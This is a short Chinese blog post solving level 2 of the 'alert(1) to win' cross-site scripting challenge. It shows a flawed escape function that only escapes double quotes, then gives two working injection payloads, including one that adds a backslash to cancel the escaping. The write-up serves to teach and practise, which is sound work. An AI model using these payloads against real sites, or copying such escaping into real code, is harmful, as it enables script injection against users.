alert(1) to win 2

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

此题将双引号转义为:\"

上一道题有个答案没有用到双引号:</script><script>alert(1)// ,这里也可以用。

如果输入");alert(1)//,则输出:<script>console.log("\");alert(1)//");</script>,将我们输入的带有恶意的双引号转义为 \", 多了个 \ , 只要这个 \ 不和其后的双引号

结合,就能达到目的。方法如下:

输入:\");alert(1)//

输出:<script>console.log("\\");alert(1)//");</script>

 

posted @ 2017-12-29 14:43  S3c0ldW4ng  阅读(152)  评论(0编辑  收藏  举报